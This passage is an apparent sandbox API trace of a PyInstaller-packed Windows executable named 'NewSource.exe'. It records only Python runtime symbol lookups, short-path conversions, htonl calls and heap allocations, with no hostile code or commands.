0x75ea7800 [0071.892] GetProcAddress (hModule=0x75e90000, lpProcName="ReleaseActCtx") returned 0x75ea7810 [0071.892] GetCurrentActCtx (in: lphActCtx=0x73172f00 | out: lphActCtx=0x73172f00*=0x1050d14) returned 1 [0071.892] AddRefActCtx (in: hActCtx=0x1050d14 | out: hActCtx=0x1050d14) [0071.893] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x103f060 | out: hHeap=0x1030000) returned 1 [0071.893] GetProcAddress (hModule=0x72ef0000, lpProcName="Py_DontWriteBytecodeFlag") returned 0x731732a8 [0071.893] GetProcAddress (hModule=0x72ef0000, lpProcName="Py_FileSystemDefaultEncoding") returned 0x73116c6c [0071.893] GetProcAddress (hModule=0x72ef0000, lpProcName="Py_FrozenFlag") returned 0x731732a0 [0071.893] GetProcAddress (hModule=0x72ef0000, lpProcName="Py_IgnoreEnvironmentFlag") returned 0x7317328c [0071.893] GetProcAddress (hModule=0x72ef0000, lpProcName="Py_NoSiteFlag") returned 0x7317329c [0071.893] GetProcAddress (hModule=0x72ef0000, lpProcName="Py_NoUserSiteDirectory") returned 0x73172fc4 [0071.893] GetProcAddress (hModule=0x72ef0000, lpProcName="Py_OptimizeFlag") returned 0x73172f68 [0071.893] GetProcAddress (hModule=0x72ef0000, lpProcName="Py_VerboseFlag") returned 0x73173288 [0071.893] GetProcAddress (hModule=0x72ef0000, lpProcName="Py_BuildValue") returned 0x7301eab0 [0071.894] GetProcAddress (hModule=0x72ef0000, lpProcName="Py_DecRef") returned 0x72fb5750 [0071.894] GetProcAddress (hModule=0x72ef0000, lpProcName="Py_Finalize") returned 0x7302f450 [0071.894] GetProcAddress (hModule=0x72ef0000, lpProcName="Py_IncRef") returned 0x72fb5740 [0071.894] GetProcAddress (hModule=0x72ef0000, lpProcName="Py_Initialize") returned 0x7302f440 [0071.894] GetProcAddress (hModule=0x72ef0000, lpProcName="Py_SetProgramName") returned 0x7302f750 [0071.894] GetProcAddress (hModule=0x72ef0000, lpProcName="Py_SetPythonHome") returned 0x7302f780 [0071.894] GetProcAddress (hModule=0x72ef0000, lpProcName="PyDict_GetItemString") returned 0x72f974b0 [0071.894] GetProcAddress (hModule=0x72ef0000, lpProcName="PyErr_Clear") returned 0x73010310 [0071.894] GetProcAddress (hModule=0x72ef0000, lpProcName="PyErr_Occurred") returned 0x7300fec0 [0071.894] GetProcAddress (hModule=0x72ef0000, lpProcName="PyErr_Print") returned 0x73030210 [0071.894] GetProcAddress (hModule=0x72ef0000, lpProcName="PyImport_AddModule") returned 0x73017490 [0071.894] GetProcAddress (hModule=0x72ef0000, lpProcName="PyImport_ExecCodeModule") returned 0x73017570 [0071.894] GetProcAddress (hModule=0x72ef0000, lpProcName="PyImport_ImportModule") returned 0x73019220 [0071.895] GetProcAddress (hModule=0x72ef0000, lpProcName="PyList_Append") returned 0x72fa9860 [0071.895] GetProcAddress (hModule=0x72ef0000, lpProcName="PyList_New") returned 0x72fa9440 [0071.895] GetProcAddress (hModule=0x72ef0000, lpProcName="PyLong_AsLong") returned 0x72fad8b0 [0071.895] GetProcAddress (hModule=0x72ef0000, lpProcName="PyModule_GetDict") returned 0x72fb5210 [0071.895] GetProcAddress (hModule=0x72ef0000, lpProcName="PyObject_CallFunction") returned 0x72f7f280 [0071.895] GetProcAddress (hModule=0x72ef0000, lpProcName="PyObject_SetAttrString") returned 0x72fb6950 [0071.895] GetProcAddress (hModule=0x72ef0000, lpProcName="PyRun_SimpleString") returned 0x73031c10 [0071.895] GetProcAddress (hModule=0x72ef0000, lpProcName="PyString_FromString") returned 0x72fbcb80 [0071.895] GetProcAddress (hModule=0x72ef0000, lpProcName="PyString_FromFormat") returned 0x72fbd3f0 [0071.895] GetProcAddress (hModule=0x72ef0000, lpProcName="PySys_AddWarnOption") returned 0x73036830 [0071.895] GetProcAddress (hModule=0x72ef0000, lpProcName="PySys_SetArgvEx") returned 0x73037590 [0071.895] GetProcAddress (hModule=0x72ef0000, lpProcName="PySys_GetObject") returned 0x73035890 [0071.895] GetProcAddress (hModule=0x72ef0000, lpProcName="PySys_SetObject") returned 0x73035950 [0071.896] GetProcAddress (hModule=0x72ef0000, lpProcName="PySys_SetPath") returned 0x730374b0 [0071.896] GetProcAddress (hModule=0x72ef0000, lpProcName="PyEval_EvalCode") returned 0x72ffe830 [0071.896] GetProcAddress (hModule=0x72ef0000, lpProcName="PyMarshal_ReadObjectFromString") returned 0x7301d680 [0071.896] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x103fdb8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 65 [0071.896] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x84) returned 0x103f060 [0071.896] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x103fdb8, cbMultiByte=-1, lpWideCharStr=0x103f060, cchWideChar=65 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0071.896] GetShortPathNameW (in: lpszLongPath="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe", lpszShortPath=0x0, cchBuffer=0x0 | out: lpszShortPath=0x0) returned 0x25 [0071.896] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x4c) returned 0x1052470 [0071.896] GetShortPathNameW (in: lpszLongPath="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe", lpszShortPath=0x1052470, cchBuffer=0x25 | out: lpszShortPath="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE") returned 0x24 [0071.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0071.897] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x26) returned 0x103f3d0 [0071.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE", cchWideChar=-1, lpMultiByteStr=0x103f3d0, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE", lpUsedDefaultChar=0x0) returned 37 [0071.897] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x1052470 | out: hHeap=0x1030000) returned 1 [0071.897] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x103f060 | out: hHeap=0x1030000) returned 1 [0071.897] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x103f3d0 | out: hHeap=0x1030000) returned 1 [0071.897] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1042db8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0071.897] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x5c) returned 0x103f060 [0071.897] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1042db8, cbMultiByte=-1, lpWideCharStr=0x103f060, cchWideChar=45 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842") returned 45 [0071.897] GetShortPathNameW (in: lpszLongPath="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842", lpszShortPath=0x0, cchBuffer=0x0 | out: lpszShortPath=0x0) returned 0x2c [0071.898] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x5a) returned 0x1052470 [0071.898] GetShortPathNameW (in: lpszLongPath="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842", lpszShortPath=0x1052470, cchBuffer=0x2c | out: lpszShortPath="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1") returned 0x2b [0071.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 44 [0071.898] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x2d) returned 0x1051ec8 [0071.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1", cchWideChar=-1, lpMultiByteStr=0x1051ec8, cbMultiByte=44, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1", lpUsedDefaultChar=0x0) returned 44 [0071.898] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x1052470 | out: hHeap=0x1030000) returned 1 [0071.898] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x103f060 | out: hHeap=0x1030000) returned 1 [0071.898] HeapFree (in: hHeap=0x1030000, dwFlags=0x0, lpMem=0x1051ec8 | out: hHeap=0x1030000) returned 1 [0071.898] htonl (hostlong=0x20000000) returned 0x20 [0071.898] htonl (hostlong=0x30000000) returned 0x30 [0071.898] htonl (hostlong=0x30000000) returned 0x30 [0071.898] htonl (hostlong=0x30000000) returned 0x30 [0071.898] htonl (hostlong=0x30000000) returned 0x30 [0071.898] htonl (hostlong=0x30000000) returned 0x30 [0071.898] htonl (hostlong=0x30000000) returned 0x30 [0071.898] htonl (hostlong=0x20000000) returned 0x20 [0071.898] htonl (hostlong=0x30000000) returned 0x30 [0071.898] htonl (hostlong=0x30000000) returned 0x30 [0071.898] htonl (hostlong=0x30000000) returned 0x30 [0071.898] htonl (hostlong=0x30000000) returned 0x30 [0071.898] htonl (hostlong=0x30000000) returned 0x30 [0071.898] htonl (hostlong=0x30000000) returned 0x30 [0071.898] htonl (hostlong=0x40000000) returned 0x40 [0071.899] htonl (hostlong=0x30000000) returned 0x30 [0071.899] htonl (hostlong=0x30000000) returned 0x30 [0071.899] htonl (hostlong=0x30000000) returned 0x30 [0071.899] htonl (hostlong=0x30000000) returned 0x30 [0071.899] htonl (hostlong=0x30000000) returned 0x30 [0071.899] htonl (hostlong=0x30000000) returned 0x30 [0071.899] htonl (hostlong=0x30000000) returned 0x30 [0071.899] htonl (hostlong=0x30000000) returned 0x30 [0071.899] htonl (hostlong=0x30000000) returned 0x30 [0071.899] htonl (hostlong=0x30000000) returned 0x30 [0071.899] htonl (hostlong=0x30000000) returned 0x30 [0071.899] htonl (hostlong=0x30000000) returned 0x30 [0071.899] htonl (hostlong=0x30000000) returned 0x30 [0071.899] htonl (hostlong=0x30000000) returned 0x30 [0071.899] htonl (hostlong=0x30000000) returned 0x30 [0071.899] htonl (hostlong=0x30000000) returned 0x30 [0071.899] htonl (hostlong=0x30000000) returned 0x30 [0071.899] htonl (hostlong=0x30000000) returned 0x30 [0071.899] htonl (hostlong=0x30000000) returned 0x30 [0071.899] htonl (hostlong=0x30000000) returned 0x30 [0071.899] htonl (hostlong=0x30000000) returned 0x30 [0071.899] htonl (hostlong=0x40000000) returned 0x40 [0071.899] htonl (hostlong=0x30000000) returned 0x30 [0071.899] htonl (hostlong=0x30000000) returned 0x30 [0071.899] htonl (hostlong=0x30000000) returned 0x30 [0071.899] htonl (hostlong=0x30000000) returned 0x30 [0071.899] htonl (hostlong=0x30000000) returned 0x30 [0071.899] htonl (hostlong=0x30000000) returned 0x30 [0071.899] htonl (hostlong=0x30000000) returned 0x30 [0071.899] htonl (hostlong=0x30000000) returned 0x30 [0071.899] htonl (hostlong=0x20000000) returned 0x20 [0071.899] htonl (hostlong=0x30000000) returned 0x30 [0071.899] htonl (hostlong=0x20000000) returned 0x20 [0071.899] htonl (hostlong=0x20000000) returned 0x20 [0071.899] htonl (hostlong=0x20000000) returned 0x20 [0071.899] htonl (hostlong=0x20000000) returned 0x20 [0071.899] htonl (hostlong=0x20000000) returned 0x20 [0071.899] htonl (hostlong=0x20000000) returned 0x20 [0071.899] htonl (hostlong=0x20000000) returned 0x20 [0071.899] htonl (hostlong=0x20000000) returned 0x20 [0071.899] htonl (hostlong=0x20000000) returned 0x20 [0071.899] htonl (hostlong=0x20000000) returned 0x20 [0071.899] htonl (hostlong=0x20000000) returned 0x20 [0071.899] htonl (hostlong=0x20000000) returned 0x20 [0071.899] htonl (hostlong=0x20000000) returned 0x20 [0071.899] htonl (hostlong=0x20000000) returned 0x20 [0071.900] htonl (hostlong=0x20000000) returned 0x20 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x50000000) returned 0x50 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x20000000) returned 0x20 [0071.900] htonl (hostlong=0x20000000) returned 0x20 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.900] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x20000000) returned 0x20 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.901] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.902] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.903] htonl (hostlong=0x30000000) returned 0x30 [0071.904] htonl (hostlong=0x30000000) returned 0x30 [0071.904] htonl (hostlong=0x30000000) returned 0x30 [0071.904] htonl (hostlong=0x30000000) returned 0x30 [0071.904] htonl (hostlong=0x30000000) returned 0x30 [0071.904] htonl (hostlong=0x30000000) returned 0x30 [0071.904] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x24) returned 0x2ad10e0 [0071.904] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2ad1110 [0071.904] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x1c0 [0071.905] GetCurrentThreadId () returned 0x9b0 [0071.905] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5c) returned 0x2ad1128 [0071.905] GetCurrentThreadId () returned 0x9b0 [0071.905] GetCurrentThreadId () returned 0x9b0 [0071.906] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c0) returned 0x2ad1190 [0071.906] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x40000) returned 0x29d0048 [0071.911] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ad1358 [0071.911] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2ad2708 [0071.912] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad1358 | out: hHeap=0x2ad0000) returned 1 [0071.913] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ad1358 [0071.913] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1800) returned 0x2a10050 [0071.913] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad2708 | out: hHeap=0x2ad0000) returned 1 [0071.914] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad14e0 [0071.915] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad14f0 [0071.915] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad1500 [0071.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad1500 | out: hHeap=0x2ad0000) returned 1 [0071.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.915] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14f0 | out: hHeap=0x2ad0000) returned 1 [0071.916] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a11858 [0071.916] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a119e0 [0071.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a11858 | out: hHeap=0x2ad0000) returned 1 [0071.916] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad14e0 [0071.916] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad14f0 [0071.916] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad1508 [0071.916] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad1520 [0071.916] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad1530 [0071.916] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad1520, Size=0x14) returned 0x2a11858 [0071.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad1530 | out: hHeap=0x2ad0000) returned 1 [0071.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad1508 | out: hHeap=0x2ad0000) returned 1 [0071.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14f0 | out: hHeap=0x2ad0000) returned 1 [0071.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14e0 | out: hHeap=0x2ad0000) returned 1 [0071.916] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a11858 | out: hHeap=0x2ad0000) returned 1 [0071.917] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad14e0 [0071.917] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a11858 [0071.917] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad14f8 [0071.917] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad1508 [0071.917] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ad1520 [0071.917] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad2708 [0071.917] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad2718 [0071.917] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad2708, Size=0x14) returned 0x2ad2728 [0071.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad2718 | out: hHeap=0x2ad0000) returned 1 [0071.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad1520 | out: hHeap=0x2ad0000) returned 1 [0071.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad1508 | out: hHeap=0x2ad0000) returned 1 [0071.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad14f8 | out: hHeap=0x2ad0000) returned 1 [0071.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad2728 | out: hHeap=0x2ad0000) returned 1 [0071.917] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ad2708 [0071.917] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2ad2890 [0071.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad2708 | out: hHeap=0x2ad0000) returned 1 [0071.917] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad14f8 [0071.917] RtlAllocateHeap 